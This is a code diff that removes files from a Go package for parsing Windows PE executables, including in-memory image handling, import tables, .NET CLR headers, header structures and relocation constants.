var peHeaderOffset int64
|
||||
if f.DosHeader.MZSignature == 0x5a4d {
|
||||
peHeaderOffset = int64(f.DosHeader.AddressOfNewExeHeader)
|
||||
var sign [4]byte
|
||||
r.ReadAt(sign[:], peHeaderOffset)
|
||||
if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) {
|
||||
return nil, fmt.Errorf("Invalid PE COFF file signature of %v", sign)
|
||||
}
|
||||
peHeaderOffset += int64(4)
|
||||
} else {
|
||||
peHeaderOffset = int64(0)
|
||||
}
|
||||
|
||||
sr.Seek(peHeaderOffset, seekStart)
|
||||
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_UNKNOWN, IMAGE_FILE_MACHINE_ARMNT, IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_I386:
|
||||
default:
|
||||
return nil, fmt.Errorf("Unrecognised COFF file header machine value of 0x%x", f.FileHeader.Machine)
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
if memoryMode {
|
||||
//get strings table location - offset is wrong in the header because we are in memory mode. Can we fix it? Yes we can!
|
||||
restore, err := sr.Seek(0, seekCurrent)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Had a bad time getting restore point: %v", err)
|
||||
}
|
||||
//seek to table start (skip the headers)
|
||||
sr.Seek(peHeaderOffset+int64(binary.Size(f.FileHeader))+int64(f.FileHeader.SizeOfOptionalHeader), seekStart)
|
||||
|
||||
//iterate through the sections to find the raw offset value that matches the original symbol table value
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//original offset matches the pointer to the symbol table, update the header so other things can reference it good again
|
||||
if sh.PointerToRawData == f.FileHeader.PointerToSymbolTable {
|
||||
f.FileHeader.PointerToSymbolTable = sh.VirtualAddress
|
||||
}
|
||||
}
|
||||
//restore the original location of sr (this shouldn't actually be required, but just in case)
|
||||
sr.Seek(restore, seekStart)
|
||||
}
|
||||
|
||||
// Read string table.
|
||||
f.StringTable, err = readStringTable(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read symbol table.
|
||||
f.COFFSymbols, err = readCOFFSymbols(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Symbols, err = removeAuxSymbols(f.COFFSymbols, f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read optional header.
|
||||
f.OptionalHeaderOffset = peHeaderOffset + int64(binary.Size(f.FileHeader))
|
||||
sr.Seek(f.OptionalHeaderOffset, seekStart)
|
||||
|
||||
var oh32 OptionalHeader32
|
||||
var oh64 OptionalHeader64
|
||||
switch f.FileHeader.SizeOfOptionalHeader {
|
||||
case sizeofOptionalHeader32:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh32.Magic != 0x10b { // PE32
|
||||
return nil, fmt.Errorf("pe32 optional header has unexpected Magic of 0x%x", oh32.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh32
|
||||
case sizeofOptionalHeader64:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh64.Magic != 0x20b { // PE32+
|
||||
return nil, fmt.Errorf("pe32+ optional header has unexpected Magic of 0x%x", oh64.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh64
|
||||
}
|
||||
|
||||
// Process sections.
|
||||
f.Sections = make([]*Section, f.FileHeader.NumberOfSections)
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
name, err := sh.fullName(f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s := new(Section)
|
||||
s.SectionHeader = SectionHeader{
|
||||
Name: name,
|
||||
OriginalName: sh.Name,
|
||||
VirtualSize: sh.VirtualSize,
|
||||
VirtualAddress: sh.VirtualAddress,
|
||||
Size: sh.SizeOfRawData,
|
||||
Offset: sh.PointerToRawData,
|
||||
PointerToRelocations: sh.PointerToRelocations,
|
||||
PointerToLineNumbers: sh.PointerToLineNumbers,
|
||||
NumberOfRelocations: sh.NumberOfRelocations,
|
||||
NumberOfLineNumbers: sh.NumberOfLineNumbers,
|
||||
Characteristics: sh.Characteristics,
|
||||
}
|
||||
r2 := r
|
||||
if sh.PointerToRawData == 0 { // .bss must have all 0s
|
||||
r2 = zeroReaderAt{}
|
||||
}
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.Offset), int64(s.SectionHeader.Size))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.VirtualAddress), int64(s.SectionHeader.Size))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
f.Sections[i] = s
|
||||
}
|
||||
for i := range f.Sections {
|
||||
var err error
|
||||
f.Sections[i].Relocs, err = readRelocs(&f.Sections[i].SectionHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Read Base Relocation Block and Items
|
||||
f.BaseRelocationTable, err = f.readBaseRelocationTable()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read certificate table
|
||||
f.CertificateTable, err = readCertTable(f, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//fill net info
|
||||
if f.IsManaged() {
|
||||
var va, size uint32
|
||||
|
||||
//determine location of the COM descriptor directory
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
case *OptionalHeader64:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
}
|
||||
|
||||
//I'm unsure how to get a reader (not a readerat) for a particular thing, so copying buffers around.. this could be more optimal
|
||||
buff := make([]byte, size)
|
||||
|
||||
//none of these reads have errors being caught either, which is probably not ideal
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(va)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(va))
|
||||
}
|
||||
binary.Read(bytes.NewReader(buff), binary.LittleEndian, &f.Net.NetDirectory)
|
||||
|
||||
//Now that we have the COR20 header (COM descriptor directory header), we can get the metadata section header, which has the version
|
||||
buff = make([]byte, f.Net.NetDirectory.MetaDataSize)
|
||||
//again, none of the reads are error checked :shrug:
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(f.Net.NetDirectory.MetaDataRVA)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(f.Net.NetDirectory.MetaDataRVA))
|
||||
}
|
||||
f.Net.MetaData, _ = newMetadataHeader(bytes.NewReader(buff))
|
||||
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// zeroReaderAt is ReaderAt that reads 0s.
|
||||
type zeroReaderAt struct{}
|
||||
|
||||
// ReadAt writes len(p) 0s into p.
|
||||
func (w zeroReaderAt) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
for i := range p {
|
||||
p[i] = 0
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// getString extracts a string from symbol string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// sectionData gets the data for s and checks its size.
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint32(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if 0 < s.VirtualSize && s.VirtualSize < s.Size {
|
||||
b = b[:s.VirtualSize]
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// FormatError is unused.
|
||||
// The type is retained for compatibility.
|
||||
type FormatError struct {
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
return "unknown error"
|
||||
}
|
||||
|
||||
//RVAToFileOffset Converts a Relative offset to the actual offset in the file.
|
||||
func (f *File) RVAToFileOffset(rva uint32) uint32 {
|
||||
var offset uint32
|
||||
for _, section := range f.Sections {
|
||||
if rva >= section.SectionHeader.VirtualAddress && rva <= section.SectionHeader.VirtualAddress+section.SectionHeader.Size {
|
||||
offset = section.SectionHeader.Offset + (rva - section.SectionHeader.VirtualAddress)
|
||||
}
|
||||
}
|
||||
return offset
|
||||
}
|
||||
|
||||
//IsManaged returns true if the loaded PE file references the CLR header (aka is a .net exe)
|
||||
func (f *File) IsManaged() bool {
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
case *OptionalHeader64:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
-196
@@ -1,196 +0,0 @@
|
||||
package pe
|
||||
|
||||
import "encoding/binary"
|
||||
|
||||
// ImportDirectory entry
|
||||
type ImportDirectory struct {
|
||||
OriginalFirstThunk uint32
|
||||
TimeDateStamp uint32
|
||||
ForwarderChain uint32
|
||||
NameRVA uint32
|
||||
FirstThunk uint32
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
d = sectionData[:]
|
||||
// seek to OriginalFirstThunk
|
||||
d = d[dt.OriginalFirstThunk-ds.VirtualAddress:]
|
||||
for len(d) > 0 {
|
||||
if pe64 { // 64bit
|
||||
va := binary.LittleEndian.Uint64(d[0:8])
|
||||
d = d[8:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x8000000000000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(uint32(va)-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
} else { // 32bit
|
||||
va := binary.LittleEndian.Uint32(d[0:4])
|
||||
d = d[4:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x80000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
//ord := va&0x0000FFFF
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(va-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
all = append(all, dt.DllName)
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
-69
@@ -1,69 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
)
|
||||
|
||||
type IMAGE_COR20_HEADER struct {
|
||||
Cb uint32
|
||||
MajorRuntimeVersion uint16
|
||||
MinorRuntimeVersion uint16
|
||||
MetaDataRVA, MetaDataSize uint32
|
||||
Flags uint32 //todo: define flags
|
||||
EntryPointToken uint32
|
||||
ResourcesRVA, ResourcesSize,
|
||||
StrongNameSignatureRVA, StrongNameSignatureSize,
|
||||
CodeManagerTableRVA, CodeManagerTableSize,
|
||||
VTableFixupsRVA, VTableFixupsSize,
|
||||
ExportAddressTableJumpsRVA, ExportAddressTableJumpsSize,
|
||||
ManagedNativeHeaderRVA, ManagedNativeHeaderSize uint32
|
||||
}
|
||||
|
||||
//Net provides a public interface for getting at some net info.
|
||||
type Net struct {
|
||||
NetDirectory IMAGE_COR20_HEADER //Net directory information
|
||||
MetaData NetMetaData //MetaData Header
|
||||
}
|
||||
|
||||
type NetMetaData struct {
|
||||
Signature [4]byte //should be 0x424a4542
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Reserved uint32
|
||||
VersionLength uint32
|
||||
VersionString []byte
|
||||
Flags uint16 //todo: define flags betterer
|
||||
NumberOfStreams uint16
|
||||
}
|
||||
|
||||
func newMetadataHeader(i io.Reader) (NetMetaData, error) {
|
||||
r := NetMetaData{}
|
||||
|
||||
//todo: error checks/sanity checks
|
||||
binary.Read(i, binary.LittleEndian, &r.Signature)
|
||||
binary.Read(i, binary.LittleEndian, &r.MajorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.MinorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.Reserved)
|
||||
|
||||
// it appears that this value is terminated by two nulls.. that might be important at some point
|
||||
binary.Read(i, binary.LittleEndian, &r.VersionLength)
|
||||
r.VersionString = make([]byte, r.VersionLength)
|
||||
i.Read(r.VersionString)
|
||||
|
||||
binary.Read(i, binary.LittleEndian, r.Flags)
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
//NetCLRVersion returns the CLR version specified by the binary. Returns an empty string if not a net binary. String has had trailing nulls stripped.
|
||||
func (f File) NetCLRVersion() string {
|
||||
b := f.Net.MetaData.VersionString
|
||||
for i, x := range b {
|
||||
if x == 0x00 {
|
||||
b = b[:i]
|
||||
break
|
||||
}
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
-153
@@ -1,153 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
type DosHeader struct {
|
||||
MZSignature uint16
|
||||
UsedBytesInTheLastPage uint16
|
||||
FileSizeInPages uint16
|
||||
NumberOfRelocationItems uint16
|
||||
HeaderSizeInParagraphs uint16
|
||||
MinimumExtraParagraphs uint16
|
||||
MaximumExtraParagraphs uint16
|
||||
InitialRelativeSS uint16
|
||||
InitialSP uint16
|
||||
CheckSum uint16
|
||||
InitialIP uint16
|
||||
InitialRelativeCS uint16
|
||||
AddressOfRelocationTable uint16
|
||||
OverlayNumber uint16
|
||||
Reserved [4]uint16
|
||||
OEMid uint16
|
||||
OEMinfo uint16
|
||||
Reserved2 [10]uint16
|
||||
AddressOfNewExeHeader uint32
|
||||
}
|
||||
|
||||
type FileHeader struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type DataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type OptionalHeader32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32
|
||||
ImageBase uint32
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint32
|
||||
SizeOfStackCommit uint32
|
||||
SizeOfHeapReserve uint32
|
||||
SizeOfHeapCommit uint32
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
type OptionalHeader64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
const (
|
||||
IMAGE_FILE_MACHINE_UNKNOWN = 0x0
|
||||
IMAGE_FILE_MACHINE_AM33 = 0x1d3
|
||||
IMAGE_FILE_MACHINE_AMD64 = 0x8664
|
||||
IMAGE_FILE_MACHINE_ARM = 0x1c0
|
||||
IMAGE_FILE_MACHINE_ARMNT = 0x1c4
|
||||
IMAGE_FILE_MACHINE_ARM64 = 0xaa64
|
||||
IMAGE_FILE_MACHINE_EBC = 0xebc
|
||||
IMAGE_FILE_MACHINE_I386 = 0x14c
|
||||
IMAGE_FILE_MACHINE_IA64 = 0x200
|
||||
IMAGE_FILE_MACHINE_M32R = 0x9041
|
||||
IMAGE_FILE_MACHINE_MIPS16 = 0x266
|
||||
IMAGE_FILE_MACHINE_MIPSFPU = 0x366
|
||||
IMAGE_FILE_MACHINE_MIPSFPU16 = 0x466
|
||||
IMAGE_FILE_MACHINE_POWERPC = 0x1f0
|
||||
IMAGE_FILE_MACHINE_POWERPCFP = 0x1f1
|
||||
IMAGE_FILE_MACHINE_R4000 = 0x166
|
||||
IMAGE_FILE_MACHINE_SH3 = 0x1a2
|
||||
IMAGE_FILE_MACHINE_SH3DSP = 0x1a3
|
||||
IMAGE_FILE_MACHINE_SH4 = 0x1a6
|
||||
IMAGE_FILE_MACHINE_SH5 = 0x1a8
|
||||
IMAGE_FILE_MACHINE_THUMB = 0x1c2
|
||||
IMAGE_FILE_MACHINE_WCEMIPSV2 = 0x169
|
||||
)
|
||||
|
||||
// IMAGE_DIRECTORY_ENTRY constants
|
||||
const (
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||
IMAGE_DIRECTORY_ENTRY_IMPORT = 1
|
||||
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
|
||||
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_DEBUG = 6
|
||||
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7
|
||||
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10
|
||||
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11
|
||||
IMAGE_DIRECTORY_ENTRY_IAT = 12
|
||||
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13
|
||||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14
|
||||
)
|
||||
-171
@@ -1,171 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// RelocationTable - for base relocation entries
|
||||
type RelocationTableEntry struct {
|
||||
RelocationBlock
|
||||
BlockItems []BlockItem
|
||||
}
|
||||
|
||||
// RelocationBlock - for base relocation entries
|
||||
type RelocationBlock struct {
|
||||
VirtualAddress uint32
|
||||
SizeOfBlock uint32
|
||||
}
|
||||
|
||||
// BlockItem - relocation block item
|
||||
type BlockItem struct {
|
||||
Type byte // 4 bits
|
||||
Offset uint16 // 12 bits
|
||||
}
|
||||
|
||||
// Reloc represents a PE COFF relocation.
|
||||
// Each section contains its own relocation list.
|
||||
type Reloc struct {
|
||||
VirtualAddress uint32
|
||||
SymbolTableIndex uint32
|
||||
Type uint16
|
||||
}
|
||||
|
||||
const (
|
||||
//IMAGE_REL_BASED_ABSOLUTE - The base relocation is skipped. This type can be used to pad a block.
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
|
||||
//IMAGE_REL_BASED_HIGH = 1
|
||||
//IMAGE_REL_BASED_LOW = 2
|
||||
|
||||
//IMAGE_REL_BASED_HIGHLOW - The base relocation applies all 32 bits of the difference to the 32-bit field at offset.
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
|
||||
//IMAGE_REL_BASED_HIGHADJ = 4
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR = 5
|
||||
//IMAGE_REL_BASED_ARM_MOV32 = 5
|
||||
//IMAGE_REL_BASED_RISCV_HIGH20 = 5
|
||||
